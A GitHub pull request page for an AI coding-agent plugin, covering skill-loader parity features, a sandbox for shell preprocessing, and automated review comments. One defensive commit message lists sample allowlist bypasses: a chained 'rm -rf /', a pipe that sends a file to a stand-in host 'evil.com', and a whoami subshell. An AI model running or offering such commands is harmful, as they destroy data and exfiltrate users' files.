-
Notifications
You must be signed in to change notification settings - Fork 0
feat(skill-loader): Claude Code skill loader parity + fix slashcommand builtin discovery #8
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
- Reset startedAt on resume to prevent immediate false completion - Release concurrency immediately on completion with double-release guard - Clean up pendingByParent on session.deleted to prevent stale entries
- Add pendingByParent cleanup to ALL completion paths (session.idle, polling, stability) - Add null guard for task.parentSessionID before Map access - Add consistency guard in prune function (set concurrencyKey = undefined) - Remove redundant setTimeout release (already released at completion)
- Add pendingByParent cleanup in pruneStaleTasksAndNotifications - Add double-release guard in launch error handler (L170) - Add concurrency release in resume error handler (L326)
Extract duplicated 8-line pendingByParent cleanup pattern into a reusable helper method. Reduces code duplication across 5 call sites. Addresses cubic-dev-ai feedback on PR code-yeongyu#736.
- Add prominent notice about Anthropic's third-party OAuth restriction - Include disclaimer about oauth spoofing tools in community - Clarify project has no custom oauth implementations - Update version reference to 3.0.0-beta.6 - Add GitHub Copilot section to table of contents
Instead of using stale parentModel/parentAgent from task state, now dynamically looks up the current message to get fresh model/agent values. Applied across all prompt injection points: - background-agent notifyParentSession - ralph-loop continuation - sisyphus-orchestrator boulder continuation - sisyphus-task resume 🤖 Generated with [OhMyOpenCode](https://github.com/code-yeongyu/oh-my-opencode) assistance
- Add Q&A format TL;DR section for clarity - Restructure existing OAuth notice with '詳細'/'详细说明' headers - Remove unrelated librarian model notice
- Add Q&A format TL;DR section for clarity - Restructure existing OAuth notice with FULL header
- Combine and simplify Q&A about Claude subscription usage - Remove separate OAuth implementation question - Clarify: technically possible but not recommended
- frontend-ui-ux-engineer, document-writer, multimodal-looker, explore now use Copilot models when no native providers available - Category overrides (visual-engineering, artistry, writing) also use Copilot models as fallback - Priority: native providers (Gemini/Claude) > Copilot > free models - Login guide moved to bottom with GitHub Copilot auth option added 🤖 Generated with [OhMyOpenCode](https://github.com/code-yeongyu/oh-my-opencode) assistance
…ndling - Add word boundary to ulw/ultrawork regex to prevent false matches on substrings like 'StatefulWidget' (fixes code-yeongyu#779) - Handle object type in parseArguments to prevent [object Object] JSON parse error (fixes code-yeongyu#747) - Add test cases for word boundary behavior
Add Kotlin LSP server (kotlin-ls) to the built-in servers catalog, syncing with OpenCode's server.ts. Includes: - BUILTIN_SERVERS entry with kotlin-lsp command - LSP_INSTALL_HINTS entry pointing to GitHub repo - Extensions: .kt, .kts (already in EXT_TO_LANG) Co-authored-by: justsisyphus <sisyphus-dev-ai@users.noreply.github.com>
…ion-requirement Update README with Bun installation requirement
…y-and-skill-mcp-args fix: ulw keyword word boundary and skill_mcp parseArguments object handling
…gration-do-not-prune-agent-overrides fix(migration): normalize Orchestrator-Sisyphus name
…lback warning - Change model priority: user override > parent model > category default - Add ModelFallbackInfo to track model resolution type - Show warning toast when category uses inherited or default model - Add tests for model fallback info in task toast
…l resolved model The previous detection checked if parentModelString exists, but the resolution uses a ?? chain where default may win over parent. Now compares actualModel against each source to correctly identify type. Fixes: model toast incorrectly showing 'inherited' when default was used
…k-retry feat(hooks): add sisyphus-task-retry hook for auto-correction
Add support for connecting to remote MCP servers via HTTP in addition to
the existing stdio (local process) connections. This enables skills to
use cloud-hosted MCP servers and aggregated MCP gateways.
## Changes
- Extend SkillMcpManager to detect connection type from config:
- Explicit `type: "http"` or `type: "sse"` → HTTP connection
- Explicit `type: "stdio"` → stdio connection
- Infer from `url` field → HTTP connection
- Infer from `command` field → stdio connection
- Add StreamableHTTPClientTransport from MCP SDK for HTTP connections
- Supports custom headers for authentication (e.g., API keys)
- Proper error handling with helpful hints
- Maintain full backward compatibility with existing stdio configurations
## Usage
```yaml
# HTTP connection (new)
mcp:
remote-server:
url: https://mcp.example.com/mcp
headers:
Authorization: Bearer ${API_KEY}
# stdio connection (existing, unchanged)
mcp:
local-server:
command: npx
args: [-y, @some/mcp-server]
```
## Tests
Added comprehensive tests for:
- Connection type detection (explicit type vs inferred)
- HTTP URL validation and error messages
- Headers configuration
- Backward compatibility with stdio configs
- Remove hardcoded "anthropic/claude-sonnet-4-5" fallback - Fetch systemDefaultModel from client.config.get() at tool boundary - Add 'category-default' and 'system-default' fallback types - Use switch(actualModel) for cleaner type detection - Add guard clauses and fail-loud validation for invalid models - Wrap config fetch in try/catch for graceful degradation - Update toast messages with typed suffixMap
Add mocks for HTTP transport to avoid real network calls during tests. This addresses reviewer feedback about test reliability: - Tests are now faster (no network latency) - Tests are deterministic across environments - Test intent is clearer (unit testing error handling logic) The mock throws immediately with a controlled error message, allowing tests to validate error handling without network dependencies. Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
…itance feat(sisyphus-task): inherit parent model for categories and show fal…
…gent-edge-cases fix(background-agent): address edge cases in task lifecycle
Fix syntax error where expect().rejects.toThrow() was not properly closed before the headers assertion.
- Remove chatgpt option from CLI args and types - Remove ChatGPT prompt from TUI installer flow - Update config detection to not include hasChatGPT - Update related tests
…el selection - Remove temperature from all categories - Consolidate CATEGORY_MODEL_CATALOG into DEFAULT_CATEGORIES - Replace 'general' and 'most-capable' with 'unspecified-low' and 'unspecified-high' - Add Selection_Gate to unspecified categories to force deliberate selection - Update quick category to use claude-haiku-4-5 - Update all references and tests across codebase
- Rename SisyphusOrchestratorHookOptions → AtlasHookOptions - Rename createSisyphusOrchestratorHook → createAtlasHook - Update hook name in schema: sisyphus-orchestrator → atlas - Update all documentation references - Rename image: orchestrator-sisyphus.png → orchestrator-atlas.png
…tegory - Delete document-writer.ts agent file - Remove from types, schema, utils, index exports - Remove tool restrictions entry - Remove migration mappings - Update atlas.ts to use category="writing" instead of agent="document-writer" - Update init-deep command template - Update all documentation (AGENTS.md, README.*, docs/) - Regenerate schema.json document-writer functionality is now handled via delegate_task with category="writing" which uses the writing category's model config.
…ilder - Delete frontend-ui-ux-engineer.ts (use category="visual-engineering" + skills instead) - Rename sisyphus-prompt-builder.ts → dynamic-agent-prompt-builder.ts - Update sisyphus.ts imports for renamed module Frontend UI/UX work now handled via delegate_task with category="visual-engineering" and skills=["frontend-ui-ux"].
…erited model Previously, when using categories like 'quick', the parent session's model (e.g., Opus 4.5) would override the category's built-in model (e.g., Haiku). Fixed priority: userConfig.model → category built-in → systemDefault The inherited model from parent session no longer affects category-based delegation - categories have their own explicit models.
Sisyphus and Atlas prompts were missing delegation guide because availableCategories and availableSkills were not being passed to createSisyphusAgent() and createAtlasAgent() in utils.ts. This caused buildCategorySkillsDelegationGuide() to return empty string, resulting in agents not knowing when/how to delegate to explore, librarian, or use category+skills based delegation.
Adds optional is_unstable_agent boolean field to CategoryConfigSchema. When enabled (or auto-detected for gemini models), forces background mode for monitoring stability even when run_in_background=false.
Detects unstable agents via is_unstable_agent config or gemini in model name. Forces background mode even when run_in_background=false, with system message explaining the forced conversion for monitoring.
Adds test coverage for variant propagation from DEFAULT_CATEGORIES to background tasks when no user categories are defined.
Auto-generated documentation update reflecting recent changes.
|
@greptileai review |
Add {{OPENCODE_SESSION_ID}} placeholder substitution for skills that need
to create subagent sessions via the session API. The substitution
replaces placeholder with actual sessionId from HookInput, enabling
context fork capabilities per Claude Code parity.
Add $(shell:command) syntax processing for skills. Commands execute in a security sandbox with timeout, output limits, cwd restriction to skill directory, and shell escaping. Integrated into loader.ts to process skill bodies before template generation.
Add discovery of non-.md files in skill directories with metadata (path, size, extension). Applies safety limits (20 files max, 1MB per file, 10MB total). Adds <supporting-files> section to skill template for model awareness of available resources.
Add context:fork support for skills that need to run in isolated sessions. When a skill has context: 'fork' in frontmatter, it spawns a new session via client.session.create, sends the skill body, and waits for completion using stability detection. Includes nested fork prevention via atomic Set-based tracking.
…tering Add forCommandListing option to discoverSkills() to filter out skills with user-invocable: false. Add skill-invocation-filter hook that blocks model invocation of skills with disable-model-invocation: true unless initiated via slash command. Session tracking via markSessionAsSlashCommand with 5s auto-cleanup.
Previously, builtin commands (start-work, ralph-loop, etc.) were only registered with OpenCode's command system but not discoverable via the slashcommand tool. This meant /start-work would not appear in listings and could not be invoked. - Add getBuiltinCommandsAsInfoArray() to convert builtin commands to CommandInfo - Update discoverCommandsSync() to include builtin commands - Pass disabled_commands config to filter disabled builtins
2ff4ebc to
bcd899e
Compare
…vercel compatibility Add support for both ~/.config/opencode/skill/ (singular, oh-my-opencode convention) and ~/.config/opencode/skills/ (plural, vercel-labs/add-skill convention). This enables seamless interoperability with vercel-labs/add-skill which uses the plural 'skills' directory convention. Ref: vercel-labs/add-skill#54
Greptile Summary
Important Files Changed
Confidence score: 3/5
Sequence DiagramsequenceDiagram
participant User
participant "Auto Slash Command Hook" as Hook
participant "Slash Command Executor" as Executor
participant "Builtin Commands" as BuiltinCmds
participant "Skill Loader" as SkillLoader
participant "Session API" as Session
User->>Hook: "User types /start-work project-setup"
Hook->>Hook: "detectSlashCommand()"
Hook->>Executor: "executeSlashCommand(parsed)"
Executor->>Executor: "discoverAllCommands()"
Executor->>BuiltinCmds: "getBuiltinCommandsAsInfoArray()"
BuiltinCmds-->>Executor: "builtin commands list"
Executor->>SkillLoader: "discoverAllSkills()"
SkillLoader-->>Executor: "skills list"
Executor->>Executor: "findCommand('start-work')"
Executor->>Executor: "formatCommandTemplate()"
Executor-->>Hook: "success with replacement text"
Hook->>Hook: "markSessionAsSlashCommand()"
Hook->>Hook: "replace message with template"
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Additional Comments (1)
-
src/tools/skill/tools.ts, line 1433-1445 (link)logic: Polling checks
currentMsgCountthensession.status(), but messages could arrive between these calls. If new message arrives after count check but before status check, could incorrectly mark as complete.
22 files reviewed, 6 comments
| const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '') | ||
| const mergedContent = subdirFiles.length > 0 | ||
| ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' + | ||
| subdirFiles.map(f => f.content).join('\n\n') | ||
| : '' | ||
|
|
||
| const skillName = data.name || defaultName | ||
| const originalDescription = data.description || "" | ||
| const isOpencodeSource = scope === "opencode" || scope === "opencode-project" | ||
| const formattedDescription = `(${scope} - Skill) ${originalDescription}` | ||
|
|
||
| const wrappedTemplate = `<skill-instruction> | ||
| Base directory for this skill: ${resolvedPath}/ | ||
| File references (@path) in this skill are relative to this directory. | ||
| ${body.trim()} | ||
| ${body.trim()}${mergedContent} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
logic: async-loader.ts missing shell preprocessing and supporting files features that exist in loader.ts:70-86. Skills loaded via async path won't have !command`` substitution or <supporting-files> section.
| const processedBody = await preprocessShellCommands(body, resolvedPath) | |
| const frontmatterMcp = parseSkillMcpConfigFromFrontmatter(content) | |
| const mcpJsonMcp = await loadMcpJsonFromDirAsync(resolvedPath) | |
| const mcpConfig = mcpJsonMcp || frontmatterMcp | |
| const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '') | |
| const mergedContent = subdirFiles.length > 0 | |
| ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' + | |
| subdirFiles.map(f => f.content).join('\n\n') | |
| : '' | |
| const supportingFiles = await discoverSupportingFiles(resolvedPath) | |
| const supportingFilesSection = supportingFiles.length > 0 | |
| ? '\n<supporting-files>\n' + | |
| supportingFiles.map(f => `${f.relativePath} (${formatSize(f.sizeBytes)})`).join('\n') + | |
| '\n</supporting-files>\n\n' | |
| : '' | |
| const skillName = data.name || defaultName | |
| const originalDescription = data.description || "" | |
| const isOpencodeSource = scope === "opencode" || scope === "opencode-project" | |
| const formattedDescription = `(${scope} - Skill) ${originalDescription}` | |
| const wrappedTemplate = `<skill-instruction> | |
| Base directory for this skill: ${resolvedPath}/ | |
| File references (@path) in this skill are relative to this directory. | |
| ${supportingFilesSection}${processedBody.trim()}${mergedContent} | |
| </skill-instruction> |
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/async-loader.ts
Line: 89:104
Comment:
**logic:** `async-loader.ts` missing shell preprocessing and supporting files features that exist in `loader.ts:70-86`. Skills loaded via async path won't have `!`command`` substitution or `<supporting-files>` section.
```suggestion
const processedBody = await preprocessShellCommands(body, resolvedPath)
const frontmatterMcp = parseSkillMcpConfigFromFrontmatter(content)
const mcpJsonMcp = await loadMcpJsonFromDirAsync(resolvedPath)
const mcpConfig = mcpJsonMcp || frontmatterMcp
const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
const mergedContent = subdirFiles.length > 0
? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
subdirFiles.map(f => f.content).join('\n\n')
: ''
const supportingFiles = await discoverSupportingFiles(resolvedPath)
const supportingFilesSection = supportingFiles.length > 0
? '\n<supporting-files>\n' +
supportingFiles.map(f => `${f.relativePath} (${formatSize(f.sizeBytes)})`).join('\n') +
'\n</supporting-files>\n\n'
: ''
const skillName = data.name || defaultName
const originalDescription = data.description || ""
const isOpencodeSource = scope === "opencode" || scope === "opencode-project"
const formattedDescription = `(${scope} - Skill) ${originalDescription}`
const wrappedTemplate = `<skill-instruction>
Base directory for this skill: ${resolvedPath}/
File references (@path) in this skill are relative to this directory.
${supportingFilesSection}${processedBody.trim()}${mergedContent}
</skill-instruction>
```
How can I resolve this? If you propose a fix, please make it concise.| export function markSessionAsSlashCommand(sessionId: string): void { | ||
| slashCommandSessions.add(sessionId) | ||
| setTimeout(() => slashCommandSessions.delete(sessionId), 5000) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
logic: 5s auto-cleanup creates race if skill invocation takes >5s. Session marked as slash-command at line 1299 (auto-slash-command/index.ts), but cleared here before tool.execute.before check at line 39-45. Skill will be blocked incorrectly.
Suggest increasing timeout to 60s or clearing on tool completion instead of timer. What's the typical max duration for skill tool execution in production?
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/hooks/skill-invocation-filter/index.ts
Line: 7:9
Comment:
**logic:** 5s auto-cleanup creates race if skill invocation takes >5s. Session marked as slash-command at line 1299 (`auto-slash-command/index.ts`), but cleared here before `tool.execute.before` check at line 39-45. Skill will be blocked incorrectly.
Suggest increasing timeout to 60s or clearing on tool completion instead of timer. What's the typical max duration for skill tool execution in production?
How can I resolve this? If you propose a fix, please make it concise.| for (let i = 0; i < processLimit; i++) { | ||
| const match = matches[i] | ||
| const fullMatch = match[0] | ||
| const command = match[1] | ||
|
|
||
| if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) { | ||
| result = result.replace(fullMatch, '[COMMAND_BLOCKED: exceeds max length]') | ||
| continue | ||
| } | ||
|
|
||
| const { allowed, binary } = isCommandAllowed(command) | ||
| if (!allowed) { | ||
| result = result.replace(fullMatch, `[COMMAND_BLOCKED: ${binary} not permitted]`) | ||
| continue | ||
| } | ||
|
|
||
| const output = await executeCommand(command, skillDir) | ||
| result = result.replace(fullMatch, output) | ||
| } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
logic: Sequential replacement with replace() can corrupt output if command output contains the next match pattern. E.g., if !echo 'Next: !cat file``'`` and !`cat file`` both exist, first replacement breaks second match.
| for (let i = 0; i < processLimit; i++) { | |
| const match = matches[i] | |
| const fullMatch = match[0] | |
| const command = match[1] | |
| if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) { | |
| result = result.replace(fullMatch, '[COMMAND_BLOCKED: exceeds max length]') | |
| continue | |
| } | |
| const { allowed, binary } = isCommandAllowed(command) | |
| if (!allowed) { | |
| result = result.replace(fullMatch, `[COMMAND_BLOCKED: ${binary} not permitted]`) | |
| continue | |
| } | |
| const output = await executeCommand(command, skillDir) | |
| result = result.replace(fullMatch, output) | |
| } | |
| for (let i = 0; i < processLimit; i++) { | |
| const match = matches[i] | |
| const fullMatch = match[0] | |
| const command = match[1] | |
| if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) { | |
| replacements.push({ original: fullMatch, replacement: '[COMMAND_BLOCKED: exceeds max length]' }) | |
| continue | |
| } | |
| const { allowed, binary } = isCommandAllowed(command) | |
| if (!allowed) { | |
| replacements.push({ original: fullMatch, replacement: `[COMMAND_BLOCKED: ${binary} not permitted]` }) | |
| continue | |
| } | |
| const output = await executeCommand(command, skillDir) | |
| replacements.push({ original: fullMatch, replacement: output }) | |
| } | |
| // Apply all replacements at once to avoid conflicts | |
| for (const { original, replacement } of replacements) { | |
| result = result.replace(original, replacement) | |
| } |
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/shell-preprocessing.ts
Line: 103:121
Comment:
**logic:** Sequential replacement with `replace()` can corrupt output if command output contains the next match pattern. E.g., if `!`echo 'Next: !`cat file``'`` and `!`cat file`` both exist, first replacement breaks second match.
```suggestion
for (let i = 0; i < processLimit; i++) {
const match = matches[i]
const fullMatch = match[0]
const command = match[1]
if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) {
replacements.push({ original: fullMatch, replacement: '[COMMAND_BLOCKED: exceeds max length]' })
continue
}
const { allowed, binary } = isCommandAllowed(command)
if (!allowed) {
replacements.push({ original: fullMatch, replacement: `[COMMAND_BLOCKED: ${binary} not permitted]` })
continue
}
const output = await executeCommand(command, skillDir)
replacements.push({ original: fullMatch, replacement: output })
}
// Apply all replacements at once to avoid conflicts
for (const { original, replacement } of replacements) {
result = result.replace(original, replacement)
}
```
How can I resolve this? If you propose a fix, please make it concise.| const timeout = setTimeout(() => { | ||
| killed = true | ||
| child.kill('SIGKILL') | ||
| }, SHELL_SECURITY.TIMEOUT_MS) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
style: Redundant timeout - spawn already has timeout option at line 35. This creates double SIGKILL on timeout.
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/shell-preprocessing.ts
Line: 42:45
Comment:
**style:** Redundant timeout - `spawn` already has `timeout` option at line 35. This creates double SIGKILL on timeout.
How can I resolve this? If you propose a fix, please make it concise.| } | ||
|
|
||
| export async function loadOpencodeGlobalSkills(): Promise<Record<string, CommandDefinition>> { | ||
| const opencodeSkillsDir = join(homedir(), ".config", "opencode", "skill") | ||
| const skills = await loadSkillsFromDir(opencodeSkillsDir, "opencode") | ||
| return skillsToRecord(skills) | ||
| // Support both singular (oh-my-opencode convention) and plural (vercel-labs/add-skill convention) | ||
| const skillsSingular = join(homedir(), ".config", "opencode", "skill") | ||
| const skillsPlural = join(homedir(), ".config", "opencode", "skills") | ||
| const [singular, plural] = await Promise.all([ | ||
| loadSkillsFromDir(skillsSingular, "opencode"), | ||
| loadSkillsFromDir(skillsPlural, "opencode"), | ||
| ]) | ||
| return skillsToRecord([...singular, ...plural]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
logic: Vercel compatibility: both paths loaded but no deduplication if same skill exists in both. Could return duplicates with same name.
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/loader.ts
Line: 207:217
Comment:
**logic:** Vercel compatibility: both paths loaded but no deduplication if same skill exists in both. Could return duplicates with same name.
How can I resolve this? If you propose a fix, please make it concise.- Block shell metacharacters (;|&$`\\) to prevent command chaining bypass - Cap stderr output to MAX_OUTPUT_BYTES (1MB) like stdout - Use index-based replacement to prevent placeholder corruption Security: Prevents attackers from bypassing allowlist via: - Command chaining: 'echo hello; rm -rf /' - Pipes: 'cat file | curl evil.com' - Subshells: 'echo $(whoami)' or 'echo \`whoami\`'
|
Commits already merged to dev via squash. Closing stale PR. |
Summary
Implements full Claude Code skill loader parity + fixes slashcommand builtin command discovery bug.
Changes
Skill Loader Parity (7 tasks)
collectMdFilesRecursiveto shared utilsSkillMetadatawith Claude Code frontmatter fields{{OPENCODE_SESSION_ID}}substitutioncontext: forkvia session APIuser-invocableanddisable-model-invocationfilteringBug Fix: Slashcommand Builtin Discovery
/start-work,/ralph-loop, etc. were not discoverable via slashcommand toolgetBuiltinCommandsAsInfoArray()and updateddiscoverCommandsSync()to include builtinsTest Coverage
Commits (8)
refactor(skill-loader): extract collectMdFilesRecursive to shared utilsfeat(skill-loader): add Claude Code frontmatter fields to SkillMetadatafeat(skill-loader): implement session ID substitutionfeat(skill-loader): implement shell preprocessing with security sandboxfeat(skill-loader): implement supporting files discoveryfeat(skill-loader): implement context fork via session APIfeat(skill-loader): implement user-invocable and model-invocation filteringfix(slashcommand): include builtin commands in slash command discovery